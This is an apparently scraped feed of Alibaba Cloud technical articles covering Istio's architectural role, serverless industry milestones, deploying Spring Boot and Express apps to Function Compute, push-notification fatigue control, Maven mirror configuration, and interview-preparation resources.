    此外,面向服务的架构(SOA)的企业服务总线(ESB)与服务网格有一些相似之处,在 SOA 体系架构中 ESB 对于应用程序服务来说是透明的,这意味着应用程序对它无感知。服务网格可以得到类似的行为,服务网格应该对应用程序透明,就像 ESB 那样,简化服务间的调用。当然,ESB 还包括交互协议的中转、消息转换,或者基于内容的路由之类的事情,而服务网格不负责 ESB 所做的所有功能。服务网格确实通过重试、超时、熔断提供服务请求的弹性能力,同时也提供服务发现和负载均衡等服务。复杂的业务转换、业务流程编排、业务流程异常,以及服务编排能力等并不属于服务网格的解决范畴。相对于 ESB 的集中式系统,服务网格中的数据平面高度分布,其代理与应用程序并存,这消除了 ESB 架构中经常出现的单点故障瓶颈问题。

    当然,也需要清楚服务网格没有解决哪些问题,像 Istio 这样的服务网格技术通常都提供了强大的基础架构功能,可以触及分布式架构的许多领域,但肯定不能解决你可能遇到的每个问题。理想的云架构能从实现的每个层中分离出不同的关注点。

    在基础架构的低层,更加关注基础设施,如何提供自动化部署的基础架构能力。这有助于将代码部署到各种平台上,无论是容器、Kubernetes,还是虚拟机等。Istio 不会限定你应该使用哪种自动化部署工具。

    在更高的业务应用级别,应用程序业务逻辑是企业保持核心竞争力的差异化资产。这些代码资产涉及了包括业务功能单一以及需要调用的服务,以何种顺序执行,如何执行这些服务的交互,如何将它们聚合在一起,以及在发生故障时要执行的操作等。Istio 不实现或替换任何业务逻辑,它本身不执行服务编排,也不会提供业务负载的内容转换或者增强,不会针对负载进行拆分或者聚合。这些功能最好留给应用程序中的库和框架来实现。

    下图是关于云原生应用程序中的关注点分离,其中 Istio 对应用程序层起支持作用并位于较低级别的部署层之上。
    Istio 扮演着部署平台和应用程序代码之间的连接角色。它的作用是促进从应用程序中取出复杂的网络逻辑,可以基于作为请求的一部分的外部元数据(例如 HTTP 标头等)来执行基于内容的路由。也可以根据服务和请求的元数据匹配进行细粒度的流量控制和路由。还可以保护传输和卸载安全令牌验证,或者可以实施服务运维人员定义的配额和使用策略等。

    5.png

    了解 Istio 的能力,与其他系统的相似之处以及它在架构中的位置,可帮助我们像我们过去可能遇到的有前途的技术那样犯同样的错误至关重要。

    成熟度和支持级别

    Istio 社区针对每个组件功能的相对成熟度和支持级别,提出了不同的功能阶段定义,分别用 Alpha、Beta 和 Stable 来描述各自的状态,如表 1-1 所示。

    6.png

    表 1-2 是我们摘录的 Istio 1.4 版本现有功能中已经达到 Beta 及 Stable 功能阶段的列表。此信息将在每次发布后更新,可参照官方网站获取更新状态。

    7.png
    8.png

    当然,Istio 仍然有一些功能还处于 Alpha 状态,如 Istio CNI 插件,它能够代替 istio-init 容器完成同样的网络功能,而且无需 Istio 用户额外申请 Kubernetes RBAC 授权;以及在 Envoy 中使用自定义过滤器的能力等等。相信在后续不断完善中,这些功能将逐渐变得越来越稳定且生产可用。

    总结

    Istio 作为当前业界服务网格领域中最流行的实现,其功能允许你在混合环境中简化云原生服务架构应用的运行和操作。Istio 使开发者专注于使用自己喜欢的编程语言构建服务功能,这有效地提升了开发者的生产力,同时开发者免于将解决分布式系统问题的代码糅合到业务代码中。

    Istio 是一个完全开放的开发项目,拥有一个充满活力、开放和多元化的社区,它的目标是赋能开发者和运维人员,使他们在所有环境中都能敏捷地发布和维护微服务,拥有底层网络的完全的可见性,且获得一致的控制和安全能力。在本书的后续部分,我们将展示如何利用 Istio 的功能在云原生世界中运行微服务。

    本文摘自于《Istio 服务网格解析与实战》,经出版方授权发布。本书由阿里云高级技术专家王夕宁撰写,详细介绍 Istio 的基本原理与开发实战,包含大量精选案例和参考代码可以下载,可快速入门 Istio 开发。Gartner 认为,2020 年服务网格将成为所有领先的容器管理系统的标配技术。本书适合所有对微服务和云原生感兴趣的读者,推荐大家对本书进行深入的阅读。

    9.png

    推荐阅读:
    【1】阿里云服务网格ASM公测来袭系列之一:快速了解什么是ASM
    文章链接:https://yq.aliyun.com/articles/748761
    【2】阿里云服务网格ASM之扩展能力(1):在ASM中通过EnvoyFilter添加HTTP请求头
    文章链接:https://yq.aliyun.com/articles/748807

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    Serverless 领域近一年行业发展回顾 Fri, 02 May 2025 09:39:04 +0800 2018年7月,Google 发布了 Knative。 Knative 是一个基于 Kubernetes 的开源 Serverless 框架,具备构建容器、流量调配、弹性伸缩、零实例、函数事件等能力。Knative 背后主要有 Google,Redhat,Pivotal 和 IBM 等公司参与。值得留意的是,Knative 的社区发展非常迅速,截止到 2019年4月,已经有超过50家公司参与,超过400贡献者。

    2018年12月,AWS 发布了 Firecracker。 Firecracker 是一个开源的虚拟化技术,面向基于函数的服务,创建和管控安全的、多租户的容器。Firecracker 的目标是把传统虚拟机安全性和隔离型,和容器的诉求和资源效率结合起来。类似的产品还有 Kata Container 和 gVisor。

    2019年1月,InfoQ 发布架构和设计趋势报告。 报告指出,「虽然当前 serverless 这个词可能还比较模糊,但是它驱动了行业更多地关注事件驱动的系统设计,以及更多地自动化底层操作系统的关注点。」

    2019年2月, Jonas Bonér (Akka的创始人)指出 ,目前 serverless 的编程模型还是限制在无状态的函数上,即 FaaS,这限制了 serverless 能支持的用例:https://thenewstack.io/serverless-needs-a-bolder-stateful-vision/

    2019年2月,UC Berkeley 发布了 Serverless Computing 报告。 报告阐述了 Serverless Computing 的动力,分析了当前 Serverless 技术的优劣,以及这一领域目前遇到的问题和机会。

    2019年3月,Red Hat 发布了 Quarkus。 Quarkus 是一个开源的,Kubernetes 原生的 Java 框架,适配 GraalVM 和 OpenJDK HotSpot。较之于传统的 Java 应用,使用 Quarkus 编写的 Java 应用程序在启动时间和内存消耗上有较大的改进。

    2019年3月,Mozilla 宣布了 WASI,WebAssembly 的系统接口。 WASI 的目标是让 WebAssembly 代码运行在所有设备上、机器和操作系统上。WebAssembly 原来主要是为 web 客户端设计的,而现在 Mozilla 想将其扩展到其他地方,例如数据中心的服务端和 IoT 设备。

    2019年3月,Pivotal 发布了 Spring Cloud Function 2.1.0.M1。Spring Cloud Function 是一层对于 Serverless 平台的抽象,基于 Spring Boot,推崇面向函数的编程模型。Spring Cloud Function 目前支持 AWS Lambda,微软 Azure 和 Apache OpenWhisk。

    2019年4月,Google 发布了 Cloud Run 。Google Cloud 是一个托管式的计算平台,用户可以部署无状态的容器,容器可以接受 http 请求,按实际请求次数收费。Cloud Run 能够管理好基础设施,包括自动弹性和缩容到零实例。Cloud Run 基于开源 Knative 标准构建,用户的容器运行在安全容器 Gvisor 中。

    2019年5月,Oracle 发布 GraalVM 19.0。 GraalVM 是一个通用的应用虚拟机,除了支持 JVM 语言外,还支持 JS, Python, Ruby, R 等其他语言,它可以通过 AOT 技术将应用编译成本地镜像,以提升启动时间、降低内存消耗。

    2019年5月,Spring 核心开发 Juergen Hoeller 分享了 Spring 5.2 & 5.3 的 Roadmap。 其中包含了 Spring 5.2 的启动时间优化,以及 Spring 5.3 对 GraalVM Native Images 的兼容。

    ]]>
    迁移 Spring Boot 到函数计算 Fri, 02 May 2025 09:39:04 +0800 etienne-bosiger-WTkUYzNCu-A-unsplash.jpg
    首先介绍下在本文出现的几个比较重要的概念:

    函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息 参考
    Fun: Fun 是一个用于支持 Serverless 应用部署的工具,能帮助您便捷地管理函数计算、API 网关、日志服务等资源。它通过一个资源配置文件(template.yml),协助您进行开发、构建、部署操作。Fun 的更多文档 参考

    备注: 本文介绍的技巧需要 Fun 版本大于等于 3.6.3。
    2

    背景信息

    Spring Boot 是由 Pivotal 团队在 2013 年开始研发,2014 年 4 月发布第一个版本的全新开源的轻量级框架。它基于 Spring4.0 设计,不仅继承了 Spring 框架原有的优秀特性,而且还通过简化配置来进一步简化了 Spring 应用的整个搭建和开发过程。另外 Spring Boot 通过集成大量的框架使得依赖包的版本冲突,以及引用的不稳定性等问题得到了很好的解决。

    步骤一:环境准备

    本文介绍的方法,不需要安装 Docker,仅仅安装 Fun 即可,最简单的方式就是直接下载可执行的二进制文件。

    1. 安装 Fun 到本机。详情请参见安装文档
    2. 执行 fun --version 检查安装是否成功。

    步骤二:迁移流程

    1. 创建一个 Spring Boot 项目,详情请参见 Spring Quickstart Guide,若有 Spring Boot 项目则跳过该步骤。
    2. 进入到刚刚创建的示例项目中或您的项目中。

      cd <project-name>
    3. 本地运行项目。

      • MacOS、Linux 平台运行项目:

        ./mvnw spring-boot:run
      • windows 平台运行项目:

        mvnw spring-boot:run
    4. 在项目的根目录下执行mvn package命令打包,编译输出类似如下。。

        $mvn package
        [INFO] Scanning for projects...
        [INFO] 
        [INFO] ----------------------< com.example:Spring-Boot >-----------------------
        [INFO] Building Spring-Boot 0.0.1-SNAPSHOT
        [INFO] --------------------------------[ jar ]---------------------------------
        [INFO] 
        [INFO] --- maven-resources-plugin:3.1.0:resources (default-resources) @ Spring-Boot ---
        ... ... ...
        [INFO] 
        [INFO] Results:
        [INFO] 
        [INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
        [INFO] 
        [INFO] 
        [INFO] --- maven-jar-plugin:3.1.2:jar (default-jar) @ Spring-Boot ---
        [INFO] Building jar: /Users/txd123/Desktop/Spring-Boot/target/Spring-Boot-0.0.1-SNAPSHOT.jar
        [INFO] 
        [INFO] --- spring-boot-maven-plugin:2.2.6.RELEASE:repackage (repackage) @ Spring-Boot ---
        [INFO] Replacing main artifact with repackaged archive
        [INFO] ------------------------------------------------------------------------
        [INFO] BUILD SUCCESS
        [INFO] ------------------------------------------------------------------------
        [INFO] Total time:  38.850 s
        [INFO] Finished at: 2020-03-31T15:09:34+08:00
        [INFO] ------------------------------------------------------------------------
    5. 部署项目到函数计算仅需要一个命令 fun deploy -y,Fun 会自动进入部署流程。

        $fun deploy -y
        current folder is not a fun project.
        Generating template.yml...
        Generate Fun project successfully!
        ========= Fun will use 'fun deploy' to deploy your application to Function Compute! =========
        using region: cn-qingdao
        using accountId: ***********3743
        using accessKeyId: ***********Ptgk
        using timeout: 60
      
        Collecting your services information, in order to caculate devlopment changes...
      
        Resources Changes(Beta version! Only FC resources changes will be displayed):
      
                     trigger httpTrigger deploy success
             function Spring-Boot deploy success
        service Spring-Boot deploy success
      
        Detect 'DomainName:Auto' of custom domain 'Domain'
        Request a new temporary domain ...
        The assigned temporary domain is 15639196-XXX.test.functioncompute.com,expired at 2020-04-10 15:19:56, limited by 1000 per day.
        Waiting for custom domain Domain to be deployed...
        custom domain Domain deploy success

      部署完成后,您可以根据部署成功的日志看到,函数计算为您生成了临时域名 ,您通过这个临时域名直接访问刚刚部署的应用。

      注意:临时域名仅仅用作演示以及开发,是有时效的,如果用作生产,请绑定已经阿里云备案的域名,可以参见 绑定自定义域名

    总结

    本文介绍如何将 Spring Boot 应用部署到函数计算。与传统的部署方法相比,您可将传统的 Spring Boot 应用一键部署至远端直接用于生产。跳过购买机器等步骤的同时,还拥有了弹性伸缩、按量付费和免运维等特性。

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

    ]]>
    迁移 Express 到函数计算 Fri, 02 May 2025 09:39:04 +0800 barby-dalbosco-bzC3Emeb3-0-unsplash.jpg

    首先介绍下在本文出现的几个比较重要的概念:

    函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计算准备计算资源,并以弹性伸缩的方式运行用户代码,而用户只需根据实际代码运行所消耗的资源进行付费。函数计算更多信息 参考
    Fun: Fun 是一个用于支持 Serverless 应用部署的工具,能帮助您便捷地管理函数计算、API 网关、日志服务等资源。它通过一个资源配置文件(template.yml),协助您进行开发、构建、部署操作。Fun 的更多文档 参考

    备注: 本文介绍的技巧需要 Fun 版本大于等于 3.6.3。
    2

    背景信息

    Express 是一个基于 Node.js 平台的极简、灵活的 Web 应用开发框架,它提供一系列强大的特征,帮助你创建各种 Web 和移动设备应用。

    步骤一:准备环境

    本文介绍的方法,不需要安装 Docker,仅仅安装 Fun 即可,最简单的方式就是直接下载可执行的二进制文件。

    1. 安装 Fun 到本机。详情请参见安装文档
    2. 执行 fun --version 检查安装是否成功。

    步骤二:迁移应用

    1. 执行以下命令创建一个 Express 项目,详情请参见 Express application generator,或者您可以按照官方描述的步骤创建简单的 Hello world example,若有 Express 项目则跳过该步骤。

       npx express-generator
    2. 执行以下命令进入刚创建的示例项目中或您的项目中。

      cd <project-name>
    3. 执行以下命令依赖安装。

      npm install
    4. 执行以下命令运行项目。

      • MacOS、Linux 平台运行项目:

        DEBUG=myapp:* npm start
      • windows 平台运行项目:

        set DEBUG=myapp:* & npm start
    5. 执行命令 fun deploy -y 将项目部署至函数计算。
      Fun 会自动进入部署流程。

        $fun deploy -y
        current folder is not a fun project.
        Generating /Users/txd123/Desktop/Express/bootstrap...
        Generating template.yml...
        Generate Fun project successfully!
        ========= Fun will use 'fun deploy' to deploy your application to Function Compute! =========
        using region: cn-qingdao
        using accountId: ***********3743
        using accessKeyId: ***********Ptgk
        using timeout: 60
      
        Collecting your services information, in order to caculate devlopment changes...
      
        Resources Changes(Beta version! Only FC resources changes will be displayed):
        ...  ...  ...  ...
                     trigger httpTrigger deploy success
             function Express deploy success
        service Express deploy success
      
        Detect 'DomainName:Auto' of custom domain 'Domain'
        Request a new temporary domain ...
        The assigned temporary domain is 15795585-XXX.test.functioncompute.com,expired at 2020-04-12 10:46:25, limited by 1000 per day.
        Waiting for custom domain Domain to be deployed...
        custom domain Domain deploy success

      部署完成后,您可以根据部署成功的日志看到,函数计算为您生成了临时域名 ,您通过这个临时域名直接访问刚刚部署的应用。

      注意:临时域名仅仅用作演示以及开发,具有时效性,如需用作生产,请绑定已经在阿里云备案的域名,详情请参见绑定自定义域名

    总结

    本文介绍如何将 Express 应用部署到函数计算。与传统的部署方法相比,您可将传统的 Express 应用一键部署至远端直接用于生产。跳过购买机器等步骤的同时,还拥有了弹性伸缩、按量付费和免运维等特性。

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

    ]]>
    一个PUSH系统是怎么做到友好触达的? Fri, 02 May 2025 09:39:04 +0800 作者:闲鱼技术-骆彬

      在Omega实时触达系统的系列技术文章中,已经对行为采集中心CEP规则中心用户触达中心三个子系统进行了详细介绍。Omega实时触达系统的核心能力是基于用户行为实时推送给用户感兴趣的内容,但是频繁的触达对用户体验是巨大的伤害,因此,对于一个实时触达系统,如何做到对用户友好的触达,是一个十分关键的问题。

      常见的优化方式有触达素材的择优和疲劳机制的控制,本文会主要介绍在用户触达疲劳控制方面,我们是如何设计灵活精细的疲劳控制策略去处理在触达过程中对用户造成打扰的问题。

    实践中遇到问题

      在用户触达中心的设计上,我们采用了灵活的可插拔设计,每个业务可以根据自己的需求配置不同的过滤器组合,但接入的业务都必须配置疲劳控制策略来避免对用户的打扰。在接入早期疲劳控制能力的业务中,我们发现某些用户会在相邻两天收到相同的触达内容;在一个周期允许触达多次的场景中,某些用户的触达时间比较集中。这些问题会对用户造成一定的打扰,会影响到用户的使用体验,可能导致用户屏蔽通知甚至是卸载app。

    用户触达中心

    用户触达中心

    metaq:是阿里内部使用的MQ框架;
    hermes:为Omega提供素材管理与择优的能力;

    定位问题的原因

      在疲劳机制1.0版本的设计中,我们使用了疲劳窗口的概念,疲劳窗口的时长即为疲劳周期,每个业务拥有各自的疲劳周期。如下图所示,由于疲劳周期的划分起点是相同的常量,因此,每个时间点都可以根据业务的疲劳周期换算出对应的疲劳窗口,进而实现对业务疲劳的控制。
    疲劳机制1.0

    疲劳机制1.0

      出现相邻两天收到相同触达内容的原因是因为在疲劳机制的设计上,疲劳周期一旦确定,每个疲劳窗口就随之固定下来,两个疲劳窗口是紧邻的,分属两个疲劳周期的触达就可能先后两天成功触达;另外,在动态调整疲劳周期时,原有的疲劳数据会瞬时全部失效,这也会导致用户短时间内收到相同的触达内容;而在一个周期允许触达多次的场景中,存在触达可能比较集中的问题,是因为用户在某段时间的操作多次触发了业务规则,而疲劳机制中没有对触达间隔进行限制,最终会出现某些用户的触达时间比较集中的问题。

    新疲劳机制的设计

      在通用的用户疲劳度设计中,大多会根据系统承载业务的特点,进行分层处理多维度控制,以满足不同场景的需求。比如,某些营销投放系统,其对应的是投放展位,它将疲劳控制分为:展位、方案、单元三层进行控制。其中,一个展位可以投放多个营销方案,而一个营销方案则包含多个投放广告,营销投放系统更关注的是展位的疲劳控制,业务方关注的则是营销方案的疲劳控制,分层控制有利于多方疲劳控制的协调处理。

      在疲劳机制2.0的设计中,我们参考了这种设计理念,对于实时触达系统的核心是用户在哪些场景下触达哪些业务。其中实时触达系统更侧重于用户和场景的控制,因此根据不同的控制维度划分出了三个疲劳控制维度:

    • 用户维度:用户每日可接收触达的总次数,默认必须校验;
    • 场景维度:每个场景可触达的次数,用于不同场景域的控制;
    • 业务维度:每个业务自己的疲劳频次,提供n天m次最小触达间隔t秒的能力;

    疲劳机制2.0

    疲劳机制2.0

      对于相邻两天触达相同内容的问题,我们的解决方案是不在使用固定的疲劳窗口起始点,每个疲劳窗口的起点是其在用户未疲劳的情况下的首次触达时间,即在第一次触达后的一个周期内不允许再次触达。
      另外,查询疲劳的key也改为由用户和业务决定,而非疲劳周期决定,这样设计的优点在于动态切换疲劳周期时,不会影响到已经疲劳的用户,已疲劳的用户会在下次疲劳时使用新的疲劳周期。
      对于一个周期多次触达场景中出现的触发比较集中的问题,我们采用了最小触达时间间隔的概念,在疲劳检验时同时校验与上次触发的时间间隔,两次触达时间差小于最小触达时间间隔的校验不通过。

      通过灵活的疲劳窗口起始时间、多维度管理以及最小触达时间间隔的控制,从控制机制上解决了疲劳机制1.0中出现的问题。另外,为了验证疲劳机制2.0的实际效果,也为了给业务优化提供基础数据,我们将用户的触达记录接入到了数据统计模块,通过对日志清洗、解析,产出了业务的数据漏斗和报表。

    应用效果

      在经过多个业务场景接入疲劳机制2.0的设计后,通过分析触达日志和数据报表,我们拿到如下结论:

    • 接入业务没有再出现相邻两天收到相同触达内容的情况;
    • 业务疲劳周期动态变更时,未出现短时间触达相同内容的情况;
    • 一个周期允许多次触达的接入业务,用户触达记录分布更加离散;

      目前,疲劳机制2.0累计接入的业务已有三十多个,qps峰值在6000左右,运行状态稳定。

    后续计划

      由于疲劳机制2.0的通用性和配置的灵活性,已经有其他业务在使用2.0版的疲劳服务,后续考虑将该疲劳服务优化后作为对立组件输出到其他业务;另外,提供将疲劳等过滤节点的数据回流到算法的能力,帮助接入业务优化触达策略。

    ]]>
    Maven 公共代理库 Fri, 02 May 2025 09:39:04 +0800 52.png
    镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

    maven.aliyun.com代理了很多公共的maven仓库。使用maven.aliyun.com中的仓库地址作为下载源,速度更快更稳定。

    一、代理的仓库列表

    仓库名称 代理源地址 使用地址
    central https://repo1.maven.org/maven2/ https://maven.aliyun.com/repository/centralhttps://maven.aliyun.com/nexus/content/repositories/central
    jcenter http://jcenter.bintray.com/ https://maven.aliyun.com/repository/jcenterhttps://maven.aliyun.com/nexus/content/repositories/jcenter
    public central仓和jcenter仓的聚合仓 https://maven.aliyun.com/repository/publichttps://maven.aliyun.com/nexus/content/groups/public
    google https://maven.google.com/ https://maven.aliyun.com/repository/googlehttps://maven.aliyun.com/nexus/content/repositories/google
    gradle-plugin https://plugins.gradle.org/m2/ https://maven.aliyun.com/repository/gradle-pluginhttps://maven.aliyun.com/nexus/content/repositories/gradle-plugin
    spring http://repo.spring.io/libs-milestone/ https://maven.aliyun.com/repository/springhttps://maven.aliyun.com/nexus/content/repositories/spring
    spring-plugin http://repo.spring.io/plugins-release/ https://maven.aliyun.com/repository/spring-pluginhttps://maven.aliyun.com/nexus/content/repositories/spring-plugin
    grails-core https://repo.grails.org/grails/core https://maven.aliyun.com/repository/grails-corehttps://maven.aliyun.com/nexus/content/repositories/grails-core
    apache snapshots https://repository.apache.org/snapshots/ https://maven.aliyun.com/repository/apache-snapshotshttps://maven.aliyun.com/nexus/content/repositories/apache-snapshots

    二、配置指南

    1. maven配置指南

    打开maven的配置文件(windows机器一般在maven安装目录的conf/settings.xml),在<mirrors></mirrors>标签中添加mirror子节点:

    <mirror>
        <id>aliyunmaven</id>
        <mirrorOf>*</mirrorOf>
        <name>阿里云公共仓库</name>
        <url>https://maven.aliyun.com/repository/public</url>
    </mirror>

    如果想使用其它代理仓库,可在<repositories></repositories>节点中加入对应的仓库使用地址。以使用spring代理仓为例:

    <repository>
        <id>spring</id>
        <url>https://maven.aliyun.com/repository/spring</url>
        <releases>
            <enabled>true</enabled>
        </releases>
        <snapshots>
            <enabled>true</enabled>
        </snapshots>
    </repository>

    2. gradle配置指南

    在build.gradle文件中加入以下代码:

    allprojects {
        repositories {
            maven { url 'https://maven.aliyun.com/repository/public/' }
            mavenLocal()
            mavenCentral()
        }
    }

    如果想使用maven.aliyun.com提供的其它代理仓,以使用spring仓为例,代码如下:

    allProjects {
        repositories {
            maven { url 'https://maven.aliyun.com/repository/public/' }
            maven { url 'https://maven.aliyun.com/repository/spring/'}
            mavenLocal()
            mavenCentral()
        }
    }

    阿里巴巴开源镜像站 提供全面,高效和稳定的系统镜像、应用软件下载、域名解析和时间同步服务。”

    ]]>
    阿里面试官分享+真实面经+笔试模拟题 | 面试充电,就看这篇 Fri, 02 May 2025 09:39:04 +0800 了解更多:
    15篇面试通关经验+10大热招岗位,给你足够底气斩获offer!

    阿里巴巴面试官:哦了!你明天过来办入职吧!
    这是多少同学做梦都想听到的一句话

    今天
    小编整理的这篇阿里系面试合辑就是想要助你实现这个梦

    阿里面试官分享+真实面经+笔试模拟题+招聘信息汇总
    太全了!
    你确定不看?
    你确定不收藏?
    你确定不转发?

    2.jpg

    面试经验分享

    支付宝资深架构师陈锣斌:热情+实践经验是最重要的

    在陈锣斌眼里,安全风控领域是集基础建设、安全攻防、大数据技术、人工智能于大成的一个交叉领域。由于在激烈的复杂对抗一线,在这个领域的人能得到最充分的锻炼,技术也最有希望快速做到业界顶尖。对于想加入大安全的同学来说,陈锣斌建议同学们在夯实基础的同时,还是要多多动手,多做,无论实验室项目还是企业实习项目,实际去做和停留在理论上是不同的结果,具体还有如下三点......

    支付宝资深专家王维强:服务12亿用户的支付宝需要怎样的安全人才?

    在前段时间的2020支付宝合作伙伴大会上,已有12亿用户的支付宝宣布转型数字生活开放平台。海量用户,还要对外开放,在这背后,需要极强的安全风控能力。但一般人不知道的是,如此重大艰巨的任务背后,也有着历届应届生的功劳。应届生如何参与支付宝安全风控的核心研发?我们找到了支付宝安全部门的资深技术专家王维强,请他给我们做一下介绍。

    同学,你有一份阿里前端终面官分享的校招秘籍待查收

    在校学生如何提升前端能力?什么样的简历能够脱颖而出?没有实践经验的同学该怎么办?存在这些问题该怎么做呢?看看阿里前端终面官给你的这些建议~

    同学,你有一份来自支付宝AI学姐的面试锦囊待查收

    因为以前接触过相关算法知识,所以在面试过程中,虽然感觉有一些压力,但还是很幸运的加入了这个有爱的团队。由于自己的面试经验不足,因此特地请教了同组有经验的师兄们,给大家分享校招面试这些事~

    校招经验贴 | 那天我喝着咖啡撸着猫,就接到了支付宝offer…

    大学期间,在一家有金融背景的互联网金融创业公司实习,当时刚好在调研信用评分的时候,看到了蚂蚁金服,对于这家公司的小微金融业务有了一定的了解,这个时候心里就埋下了一粒种子......

    小姐姐亲身体验:在阿里数据库科研团队实习是种怎样的体验?

    张心怡,北京大学前沿交叉研究院研究生,中国人民大学信息学院本科生。从18年底开始在POLARDB-X团队智能数据库组的实习,现已在阿里度过了一年多的时光。心怡说,对于有志于数据库领域研究的小伙伴,这里是最好的学习和工作平台。

    加入阿里技术团队三年,哪些习惯让我在工作上持续受益?

    2017年研究生毕业,我加入阿里巴巴数据库技术团队,从事分布式数据库研发,如今算来已经有三年时间了,在这期间,我深度参与了双十一背后的数据库PolarDB-X从设计到实现的全过程。在这三年的时间里,于我而言,最大的收获来自两方面......

    云计算从业者必须要知道这一点:基础设施可编程的重要性!

    中国云计算企业用户,使用编排、知道编排都不多,为什么会有这样的现象呢?基础设施可编程听起来非常高大上,实际上它到底能解决具体什么样的巨大的价值?

    笔试模拟题

    7道典型笔试算法模拟题精解

    题目主要是笔试模拟题、算法大赛模拟题等,本文为大家集合了其中的7道典型笔试算法模拟题精解,进阶就在此刻!

    10+笔试算法模拟题精解,带你玩转算法!

    技术笔试题练习,助您巩固基础知识,轻松应对笔试考核!

    Java基础测试题|挑战你的底线

    这52道测试题可都是在考验你的Java基础知识,快来试试你能答对多少?

    面试招聘类视频讲解

    想来阿里实习,都有哪些面试技巧和诀窍?

    想来阿里实习,都有哪些面试技巧和诀窍?在阿里实习,程序员们又能获得怎样的成长空间?6位技术大牛空降直播间, 和你聊聊阿里的那些事儿!

    为求职阿里我准备了4年,本科生offer经验分享

    想学Java可以从哪里入手?有什么推荐的书或者网站嘛?新手练手的项目从哪里找来练习?学习一门新的编程语言时,有什么技巧吗?你做的比较难的项目有哪些?有什么经验可以分享?这些都是同学们想知道的问题吧,看看顺利拿下offer的师兄怎么说,相信这份经验对你如何规划自己的大学学习节奏、创造面试机会、斩获理想offer很有帮助。

    云计算招聘岗位全方位需求解析+学习路径指南

    自学云计算并转行踏入云计算领域的云计算工程师带你了解:云计算行业的热门职位都有哪些?云计算领域的学习路径应该如何规划?云计算相关认证证书的含金量有多高?要不要考?

    开发者必看,教你如何Get技术管理者的思维!

    很多技术新名词围绕着大家,环境的变化、业务快速发展和迭代,我们该如何利用好“云计算”等技术?我们真的用好了嘛?还有哪些不一样的理念?在面对竞争、行业的快速变化中,提升自我能力,拥有前瞻性和大胆的技术创新,才能保障业务的顺滑发展。使众人行,我们该拥有哪些领导力?本期阿里内外专家联手打造,听听一线专家、管理者是怎么做到的!

    史上最严峻“复工”环境下,人才招聘选拔策略与技巧

    非常时期,招聘流程该如何调整?不见面也能选对人的杀手锏?教会你如何进行履历分析?如何规避心理测验的应用误区?电话面试如何提问更有效?

    面试必备资料

    2020必备Java工程师面试宝典|120道经典面试题解析+10篇面试技巧

    网上Java面试考点众多,看的人眼花缭乱有没有?小编今天已经按照分类整理好了Java面试的知识点集锦及面试精华文章,就等你慢慢享用啦~

    【春招必备】初级程序员必备Linux面试题

    104道Linux面试题详解,面试前可一定要看看!

    微服务常见面试题50问

    现在,很多企业开发都开始用微服务,在开发过程中每个独立服务都有一个业务边界,可以独立开发、测试、部署、监控和扩展,甚至可以用不同的编程语言开发。因此,很多企业在招聘的时候都会问微服务相关的问题,微服务面试常见的这50个问题分享给大家......

    Python面试题汇总50问(机器学习篇)

    机器学习与预测分析正在改变企业和其他组织的运作方式,本篇内容涵盖了机器学习的基础以及Python在机器学习中的应用......

    PHP常见面试题50问(附答案)

    PHP语言的一大优势是跨平台,什么是跨平台?在PHP中error_reporting这个函数有什么作用?答案详解都在文章里,关于PHP这50个常见面试题你必须掌握!

    19年BAT常问面试题汇总

    JVM+微服务+多线程+锁+高并发性能,102道BAT常问面试题汇总,分享给即将要面试的你~

    Python面试题汇总130问(框架篇)

    在python语言中,有着特别厉害的三大框架。这三个框架分别为:Flask框架,Tornado框架,Django框架。本次帮大家整理了框架中常见的面试问题!

    174道 JavaScript 面试题分享

    174道 JavaScript 面试题,助你查漏补缺!

    招聘信息

    听说你是阿里巴巴“混”的最好的实习生

    阿里云2020校招火热进行中!快来参与内推机会,走上人生巅峰!

    招人!想像孙传亮一样做个有“安全感”的人吗?简历砸过来~

    阿里云智能事业群 EMR团队招人啦!校招、实习、社招统统都要~

    【阿里巴巴搜索推荐事业部】招聘知识图谱、自然语言处理算法专家

    2020阿里云计算平台校招开始啦!(前后端专场)

    更多学习资源:

    在线编程,刷题过关斩将一站到底
    在线编程比赛火热进行中,学习实践两不误,刷题打榜礼品多。群内交流思路宽,测测能排第几名!

    面试一点通,面经干货技能补全
    无论你是职场小白还是技术达人,这里有一切你面试前需要的 知识点、面试经验、面试题目解析,快来mark吧!

    ]]>
    Serverless 的喧哗与骚动 Fri, 02 May 2025 09:39:04 +0800 《喧哗与骚动》是我喜欢的作家威廉·福克纳的一部小说,小说用多个家庭成员的意识流,从不同的视角描绘了一家三代的悲剧。这部小说有意思的地方在于:对于同样一件事情,从不同人跳跃的意识中能看到迥然相异的景象。

    今天大家理解 Serverless 也有点这个意思,因此我以此为题,展开分析。文章只代表作者本人观点。

    Serverless is like teenage sex

    不知道大家有没有听过这样的话:

    Big data is like teenage sex: Everyone talks about it, nobody really knows how to do it, everyone thinks everyone else is doing it, so everyone claims they are doing it.

    我们把 Big data 换一下:

    AI is like teenage sex: Everyone talks about it, nobody really knows how to do it, everyone thinks everyone else is doing it, so everyone claims they are doing it.

    我们把 AI 换成 Serverless:

    Serverless is like teenage sex: Everyone talks about it, nobody really knows how to do it, everyone thinks everyone else is doing it, so everyone claims they are doing it.

    从中可以总结出以下几点:

    1. 所有人都在说 Serverless;
    2. 几乎没人知道怎么落地 Serverless;
    3. 但是大家都觉得其他人在大力做 Serverless;
    4. 所以大家都宣称自己在做 Serverless。

    Serverless 和很多词如微服务一样,是没有精确定义的,也没有事实的标准。什么是事实标准?Kubernetes 是事实标准;对 Java 程序员来说 Spring Boot / Spring Cloud 是事实标准。

    事实标准就是一种思想/方法论得到了广泛落地,占领了市场。落地通常意味着两个点:

